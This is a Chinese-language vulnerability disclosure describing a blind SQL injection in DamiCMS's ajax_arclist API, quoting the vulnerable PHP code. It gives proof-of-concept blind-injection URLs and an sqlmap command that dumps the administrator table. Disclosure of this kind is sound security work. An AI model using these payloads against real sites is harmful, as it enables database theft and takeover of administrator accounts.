### 简要描述：
大米CMS某处SQL盲注第二发，可直接拖库
### 详细说明：
文件/Web/Lib/Action/ApiAction.class.php
```
//万能获取数据接口
function ajax_arclist(){
$prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true;
//表过滤防止泄露信息,只允许的表
if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();}
if(!empty($_REQUEST['model'])){
if($prefix == true){
$model = C('DB_PREFIX').$_REQUEST['model'];
}
else{
$model = $_REQUEST['model'];
}
}else{
$model = C('DB_PREFIX').'article';
}
$order =!empty($_REQUEST['order'])?$_REQUEST['order']:'';
$num =!empty($_REQUEST['num'])?$_REQUEST['num']:'';
$where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):'';
//使where支持 条件判断,添加不等于的判断
$page=false;
echo $_REQUEST['page'];
if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page'];
$pagesize =!empty($_REQUEST['pagesize'])?$_REQUEST['pagesize']:'10';
//$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用
$field =!empty($_REQUEST['field'])?$_REQUEST['field']:'';
$m=new Model($model,"",false);
//如果使用了分页,缓存也不生效
if($page){
import("@.ORG.Page"); //这里改成你的Page类
$count=$m->where($where)->count();
$total_page = ceil($count / $pagesize);
$p = new Page($count,$pagesize);
//如果使用了分页，num将不起作用
$t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select();
//echo $m->getLastSql();
$ret = array('total_page'=>$total_page,'data'=>$t);
}
//如果没有使用分页，并且没有 query
if(!$page){
$ret=$m->field($field)->where($where)->order($order)->limit($num)->select();
}
$this->ajaxReturn($ret,'返回信息',1);
}
```
当满足这个条件时：
```
in_array($_REQUEST['model'],array('article','type','ad','label','link'))
```
where就被赋值了
```
$where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):'';
```
然后将where就带入SQL语句
```
$count=$m->where($where)->count();
```
导致SQL注入
### 漏洞证明：
标准的盲注：
```
http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=1
```
[<img src="https://images.seebug.org/upload/201410/311811369eb3210bf92e5d54f56747cddf3a6a2e.png" alt="dami1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/311811369eb3210bf92e5d54f56747cddf3a6a2e.png)
```
http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=2
```
[<img src="https://images.seebug.org/upload/201410/3118115027f4df1d63dca86c846f65d2ef4c2518.png" alt="dami2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/3118115027f4df1d63dca86c846f65d2ef4c2518.png)
用SQLmap跑一下数据：
```
python sqlmap.py -u "http://10.65.20.198/dami/index.php?s=/api/ajax_arclist/model/article/where/123*" -D "dami" -T "dami_admin" --dump -v 3
```
管理员账户信息：
[<img src="https://images.seebug.org/upload/201410/31181409dd973f7865a3b50e5e0e5ebe90252576.png" alt="dami3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/31181409dd973f7865a3b50e5e0e5ebe90252576.png)
京公网安备 11010502034610号
暂无评论